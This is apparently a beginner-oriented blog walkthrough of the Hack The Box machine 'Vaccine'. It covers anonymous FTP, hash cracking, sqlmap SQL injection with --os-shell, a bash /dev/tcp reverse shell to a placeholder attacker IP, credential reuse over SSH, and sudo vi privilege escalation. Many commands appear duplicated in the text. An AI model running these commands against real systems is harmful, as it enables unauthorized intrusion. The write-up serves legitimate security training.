October 31, 2026
Hack The Box Walkthroughβ Vaccine (Tier 2) | Full Machine Write-up
Part 01 of the Hack The Box Walkthrough series
By Protagonist | Offensive Security
14 min read
Welcome to my ongoing Hack The Box machine-solving series !
In this series, I'll share my experience solving different Hack The Box machines. I'll explain the steps I followed, the tools I used, and the concepts I learned along the way.
For this first write-up, we're going to solve Vaccine, a machine that teaches us several important concepts in penetration testing.
I'll keep the explanations simple, so even if you're new to Hack The Box, you can follow along.
Let's get started!
We're kicking things off with Vaccine. It's a Linux box from HTB's Starting Point track (Tier 2), rated Very Easy. Don't let the rating fool you, though β Vaccine is a tiny masterclass. In one machine you'll touch anonymous FTP, password cracking, source-code review, SQL injection, getting a reverse shell, and a clean little privilege escalation to root. That's basically the entire beginner curriculum packed into one box.
By the end of this walkthrough, you'll understand:
- How to approach a machine when you don't know where to start.
- Why enumeration is one of the most important steps in penetration testing.
- How a simple exposed file can lead to further access.
- The difference between encryption and hashing.
- How SQLmap interacts with a web application.
- Why session management matters during security testing.
- The difference between a user shell and root access.
- How to investigate Linux privilege-escalation opportunities.
The goal isn't just to collect the flags. It's to understand why each step works and how one discovery leads to another.
Machine Information
Platform: Hack The Box
Machine: Vaccine
Tier: 2
Operating system: Linux
Main topics: FTP, password cracking, web application security, SQL injection, reverse shells, SSH, and privilege escalation.Machine Information
Platform: Hack The Box
Machine: Vaccine
Tier: 2
Operating system: Linux
Main topics: FTP, password cracking, web application security, SQL injection, reverse shells, SSH, and privilege escalation.Step 1: Network Enumeration with Nmap
Whenever I start solving a new machine, the first thing I do is check which ports are open and which services are running.
Why?
Because before trying to gain access to a machine, we need to understand what the machine is exposing to the network.
For example, a machine might have an FTP server, a web server, an SSH service, or a database service. Each service gives us a different direction to investigate.
For this, we'll use Nmap.
sudo nmap -Pn -n -T4 -sC -sV 10.129.95.174sudo nmap -Pn -n -T4 -sC -sV 10.129.95.174
Quick breakdown so these flags aren't just magic words:
-Pn β skip the ping check and assume the host is up (HTB boxes often don't reply to pings)
-n β don't bother with DNS lookups, keeps it fast
-T4 β go fast (aggressive timing)
-sC β run nmap's default scripts
-sV β grab version info for each service-Pn β skip the ping check and assume the host is up (HTB boxes often don't reply to pings)
-n β don't bother with DNS lookups, keeps it fast
-T4 β go fast (aggressive timing)
-sC β run nmap's default scripts
-sV β grab version info for each serviceAfter running the scan, I found that FTP was running on port 21.
FTP stands for File Transfer Protocol. It is used to transfer files between computers over a network.
Finding FTP doesn't automatically mean that the service is vulnerable. However, it's worth checking how the server is configured and whether it allows access without authentication.
That's what we'll investigate next.
Step 2: Connecting to the FTP Server
ftp 10.129.95.174ftp 10.129.95.174
After running the command, the server asks for a username.
Some FTP servers allow something called anonymous login.
Normally, we need a valid username and password to access a service. With anonymous FTP, the server may allow users to connect without a regular account.
In this machine, anonymous login is allowed.
That's our first useful discovery!
Why is anonymous FTP important?
Anonymous FTP isn't always a security vulnerability. Some organizations intentionally use it to distribute public files.
The problem arises when the server exposes files that shouldn't be publicly accessible.
After logging in, I listed the available files using:
lslsI found a file named:
backup.zipbackup.zipA backup file is always worth investigating during an authorized penetration test. It might contain source code, configuration files, or other information that helps us understand the target.
In this case, we have found something interesting.
Let's download it.
Step 3: Downloading the Backup File
ftp> get backup.zipftp> get backup.zipThe FTP client downloads the archive to our local working directory.
Once the download finishes, exit the FTP session:
byebyeNow we can work with the file locally.
Let's try extracting it:
unzip backup.zipunzip backup.zipBut there's a problem. The archive is password-protected. Without the correct password, we can't access its contents.
Instead of guessing passwords manually, we'll use two tools:
zip2john- John the Ripper
Before using them, let's understand what each tool does.
Step 4: Cracking the ZIP Password with zip2john and John
What is zip2john?
zip2johnis a utility that extracts password-verification information from a supported ZIP archive and converts it into a format that John the Ripper can process. In simple words, it helps us prepare a password-protected ZIP file for password cracking.
What is John the Ripper?
John the Ripper is a password-auditing and password-recovery tool.It tries candidate passwords and checks whether they match the information extracted from the protected file.
4.1 Extract the password hash information
Run:
zip2john backup.zip > hash_backup.txtzip2john backup.zip > hash_backup.txt
We now have a file that John can use.
4.2 Crack the password
Next, run:
john --wordlist=/usr/share/wordlists/rockyou.txt hash_backup.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt hash_backup.txt
In my session, the recovered password was:
741852963741852963Now let's try extracting the archive again:
unzip backup.zipunzip backup.zip
When prompted, enter the recovered password.
This time, we can access the archive.
Step 5: Analyzing index.php and Cracking an MD5 Hash
After extracting the archive, I checked the files inside it.
One of the files was:
index.phpindex.phpPHP is a server-side programming language commonly used to build web applications.
Looking at an application's source code can sometimes reveal useful information about how it works, including configuration details and authentication logic.
I opened the file:
cat index.phpcat index.php
While inspecting the code, I found a password stored as an MD5 hash.
This gives us another lead.
What is MD5?
MD5 is a hashing algorithm that produces a 128-bit hash value, usually represented as 32 hexadecimal characters.
Hashing is different from encryption.
Encryption is designed to be reversible using the appropriate key. A cryptographic hash function is generally designed to be one-way.
However, this doesn't mean that a hashed password can never be recovered.
If the password is weak, an attacker can generate hashes of candidate passwords and compare them with the known hash.
If a candidate matches, the original password has effectively been recovered.
Cracking the hash
i went to the crackstation , a famous site for cracking the hash value .
The recovered password was:
qwerty789qwerty789We now have another credential that might help us access the application.
Notice how the steps are connected.
First, anonymous FTP gave us access to a backup archive. Then we recovered the ZIP password and extracted a PHP file. That file contained a hash, which led us to another password.
One discovery has led to another.
Step 6: Logging into the Web Application
Now we have the recovered credentials.
Let's see whether they work on the target's web application.how do we know that there is a web site . From the nmap scan we see that http service is running .
I opened the target in my browser and navigated to the login page.
Using the credentials discovered in the previous step, I entered:
Username:
adminadminPassword:
qwerty789qwerty789
The login was successful, and I gained access to the dashboard.
This is another important step in the attack chain.
We started with an exposed FTP service and eventually obtained access to a web application by investigating the files available on that service.
Now that we're inside the dashboard, the next question is:
Can we find any weaknesses in how the application handles user input?
That's where SQL injection comes in.
Step 7: Understanding SQL Injection
SQL injection is a vulnerability that occurs when an application handles user input in an unsafe way while constructing database queries.
Let's make it simple.
Imagine a website has a search box. When a user enters a search term, the application sends a query to its database to find matching information.
If the application constructs that query unsafely, specially crafted input might change the meaning of the SQL statement.
Instead of treating the input as ordinary data, the database may interpret part of it as SQL syntax.
This can potentially allow unauthorized access to database information or other unintended actions, depending on the application's implementation and database permissions.
Finding an interesting parameter
After logging into the dashboard, I explored the application and found a search parameter.
The URL looked like this:
http://10.129.95.174/dashboard.php?search=abchttp://10.129.95.174/dashboard.php?search=abcThe parameter is:
search=abcsearch=abcThis is worth investigating because the application may use the search value in a database query.
However, finding a parameter doesn't mean that it's vulnerable.
We need to test it.
For this, I used SQLmap.
What is SQLmap?
SQLmap is an automated tool for detecting and testing SQL injection vulnerabilities.
It can send different test inputs to an application and analyze the responses to determine whether a parameter may be injectable.
Let's start with the URL we discovered.
sqlmap -u "http://10.129.95.174/dashboard.php?search=abc" --batch --dbssqlmap -u "http://10.129.95.174/dashboard.php?search=abc" --batch --dbs
Nothing. And that tripped me up for a minute β until I remembered the page sits behind a login. sqlmap was hitting the dashboard as a stranger and getting bounced back to the login screen. The fix is to hand it our session cookie so it looks like a logged-in user.
Step 8: Understanding Session Cookies
The dashboard requires authentication.
When we log in to a web application, the server may issue a session cookie. The browser sends this cookie with subsequent requests so the server can recognize the authenticated session.
Without the correct session cookie, a request to the dashboard might not behave as expected.
For example, instead of returning the dashboard, the server might redirect the request to the login page.
This matters when using tools such as SQLmap.
The tool doesn't automatically know which account you're logged into in your browser. We need to provide the appropriate authentication information when necessary.
Finding the PHPSESSID cookie
To inspect the session cookie, I opened the browser's developer tools.
I navigated to the storage area and looked for the cookie named:
PHPSESSIDPHPSESSIDPHPSESSID is a common session-cookie name used by PHP applications.
The cookie value identifies the relevant session.
Adding the cookie to SQLmap
Now we can include the cookie in the request.
sqlmap -u "http://10.129.95.174/dashboard.php?search=abc" \
--cookie="PHPSESSID=<YOUR_SESSION_ID>" \
--batchsqlmap -u "http://10.129.95.174/dashboard.php?search=abc" \
--cookie="PHPSESSID=<YOUR_SESSION_ID>" \
--batch
The important addition is:
--cookie="PHPSESSID=<YOUR_SESSION_ID>"--cookie="PHPSESSID=<YOUR_SESSION_ID>"This tells SQLmap to send the session cookie along with its requests.
In my investigation, I included the cookie and proceeded to test the application.
Step 9: Obtaining an Operating-System Shell with SQLmap
After preparing the authenticated request, I used SQLmap's operating-system shell functionality.
The command from my lab session was:
sqlmap -u "http://10.129.95.174/dashboard.php?search=abc" \
--cookie="PHPSESSID=<YOUR_SESSION_ID>" \
--batch \
--os-shellsqlmap -u "http://10.129.95.174/dashboard.php?search=abc" \
--cookie="PHPSESSID=<YOUR_SESSION_ID>" \
--batch \
--os-shellLet's focus on the new option:
--os-shell--os-shellThis option attempts to provide an operating-system command shell through a supported SQL injection path.
Whether it succeeds depends on several factors, including the database configuration, the database account's privileges, and the target system's security controls.
In this machine, SQLmap provided an operating-system shell.
This is a major step forward.
Until now, we've been interacting with the web application through a browser and using SQLmap to investigate its behavior. Now, we have a way to execute commands in the target's operating-system environment.
The next step is to establish a reverse shell so we can continue the investigation through a separate connection.
there is a question you might have ? why do we need to use β os-shell flag ?
Once sqlmap confirms a parameter is injectable, you ask yourself one thing β what do I actually want?
I just want the data (usernames, password hashes, table contents) β use
--dump(or--dbs,--tables, etc.). You're staying inside the database.
I want a foothold on the actual machine (which is the goal on almost every HTB box) β use
--os-shell. You're trying to climb out of the database and onto the operating system.
On Vaccine, dumping the database wouldn't get us anywhere useful β we needed to be on the box to find flags and escalate. That's the signal to reach for
--os-shell.
A couple of important caveats, because it doesn't always work:
Confirm the injection first.
--os-shelldoes nothing if the parameter isn't actually injectable. Run sqlmap normally first; if it finds an injection point, then--os-shellis on the table.
The database user needs enough privileges. Under the hood, sqlmap tries to either write a small web shell into the site's folder and trigger it over HTTP, or use a built-in DB feature that runs OS commands (PostgreSQL's
COPY ... FROM PROGRAM, MySQL UDFs, MSSQL'sxp_cmdshell). If the DB user is low-privileged, none of that works. On Vaccine the DB ran aspostgres, which had enough power β so it worked cleanly.
Step 10: Getting a Reverse Shell
What is a reverse shell?
A reverse shell is a connection in which the target initiates a connection back to the tester's machine.
Instead of the tester connecting directly to a shell service on the target, the target connects to a listener controlled by the tester.
For this lab, I used Netcat to create a listener.
On my attacking machine, I ran:
nc -lvnp 1337nc -lvnp 1337Here's what the options mean:
-ltells Netcat to listen for incoming connections.-venables verbose output.-ndisables DNS resolution.-p 1337specifies the listening port.
The listener waits for the target to connect.
The listener waits for the target to connect.
Next, from the operating-system shell obtained in the lab, I executed a Bash reverse-shell command:
bash -c 'bash -i >& /dev/tcp/<YOUR_VPN_IP>/1337 0>&1'bash -c 'bash -i >& /dev/tcp/<YOUR_VPN_IP>/1337 0>&1'Replace <YOUR_VPN_IP> with the IP address of your attacking machine's Hack The Box VPN interface.
The target must be able to reach that address.
When the connection succeeds, Netcat receives the incoming connection.
In my session, the reverse connection was successful.
We now have another way to interact with the target.
Step 11: Finding Credentials in the Web Root
After obtaining the reverse connection, I navigated to the web application's directory:
cd /var/www/htmlcd /var/www/htmlThis is a common directory for web application files on Linux, although the exact location depends on the system's configuration.
I wanted to inspect the application files for useful information.
One of the files I checked was:
dashboard.phpdashboard.phpI opened the file and found another password:
P@s5w0rd!P@s5w0rd!This was an important discovery.
We now have another credential that may provide access to a different service or account.
During a penetration test, credentials discovered in source code should be investigated carefully. However, we shouldn't assume that every password works everywhere.
We need to determine which account and service are associated with the credential.
In my investigation, the next lead was the PostgreSQL account.
The credentials were:
Username:
postgrespostgresPassword:
P@s5w0rd!P@s5w0rd!With this information, I proceeded to test SSH access.
Step 12: Connecting to the Machine Through SSH
SSH stands for Secure Shell.
It's a protocol that provides encrypted remote access to a system. Administrators and users commonly use it to log in to Linux machines and execute commands remotely.
Since we discovered credentials associated with the postgres account, I tried connecting to the target using SSH.
The command was:
ssh postgres@10.129.95.174ssh postgres@10.129.95.174The SSH client attempted to connect to the target as the user postgres.
When prompted for the password, I entered:
P@s5w0rd!P@s5w0rd!The login succeeded.
We now have an SSH session as the postgres user.
This is useful because we have moved from a shell obtained through the web application to a direct authenticated login.
But there's still a difference between accessing a normal user account and having full control over the system.
Let's continue
Step 13: Retrieving the User Flag
After connecting through SSH, I explored the machine and retrieved the user flag.
At this point, we have completed the user-level objective.
However, the machine isn't finished yet.
Our next goal is to determine whether the current account has any permissions that could allow us to become root.
To investigate that, we'll start by checking the user's sudo privileges.
Step 14: Checking Sudo Permissions
Linux uses a permission system to control which users can perform particular actions.
Normally, a user doesn't have permission to perform every administrative task on the machine.
The sudo command allows a user to execute permitted commands with another user's privileges, often those of root.
Administrators configure which commands users can run through sudo.
To inspect the current user's permissions, I ran:
sudo -lsudo -lThis command lists the sudo privileges available to the current user.
The output revealed an interesting permission involving the vi editor and the PostgreSQL configuration file:
pg_hba.confpg_hba.confThis was worth investigating.
Why?
Because vi is a text editor, but it also has functionality beyond simply editing files.
If a powerful program is allowed to run with root privileges, some of its additional functionality may create an unintended path to privilege escalation.
Let's understand that concept before continuing.
Step 15: Using GTFOBins to Research Privilege Escalation
After discovering the sudo permission, I wanted to understand whether vi could be used to obtain elevated privileges.
For this, I used a resource called GTFOBins.
GTFOBins: https://gtfobins.github.io/
GTFOBins documents Unix and Linux programs that can sometimes be misused to bypass security restrictions or escalate privileges when they are available with excessive permissions.
It is a useful reference when investigating Linux privilege escalation.
Why can a text editor become a security risk?
Normally, we use vi to create or edit text files.
However, some editors also provide features that can execute commands or interact with the underlying operating system.
If an editor is launched with elevated privileges, those features may execute with the same privileges.
This means that a user who is allowed to run the editor as root might be able to perform actions beyond the original purpose of the sudo rule.
The important point is that the editor itself doesn't necessarily contain a software vulnerability.
The problem can come from the combination of the program's capabilities and the permissions assigned to it.
What happened in this machine?
In Vaccine, the sudo permission involving vi provided a path to root access.
I researched the relevant behavior using GTFOBins and followed the privilege-escalation path in the lab.
The escalation was successful.
This is a valuable lesson: sometimes, privilege escalation doesn't require exploiting a complicated software vulnerability. A poorly restricted administrative permission can be enough.
Step 16: Retrieving the Root Flag
After successfully escalating privileges, I obtained root access to the machine.
Root is the superuser account on Linux. It has extensive privileges over the operating system, including access to files and administrative operations that ordinary users cannot perform.
The final step was to retrieve the root flag.
And that's it!
We have successfully completed the Vaccine machine.
If you're new to Hack The Box, I recommend taking your time with these concepts rather than memorizing the commands.
Try to understand why each command is being used, what information it provides, and what you would investigate if it didn't work.
That's how you move beyond simply following a walkthrough.
This is the first article in my ongoing Hack The Box walkthrough series. I'll continue solving machines and sharing the process, including the techniques I use and the lessons I learn along the way.
If you found this walkthrough helpful, follow me on Medium for more machine write-ups, practical penetration-testing lessons, and cybersecurity research.
Thanks for reading, and I'll see you in the next machine!
β Protagonist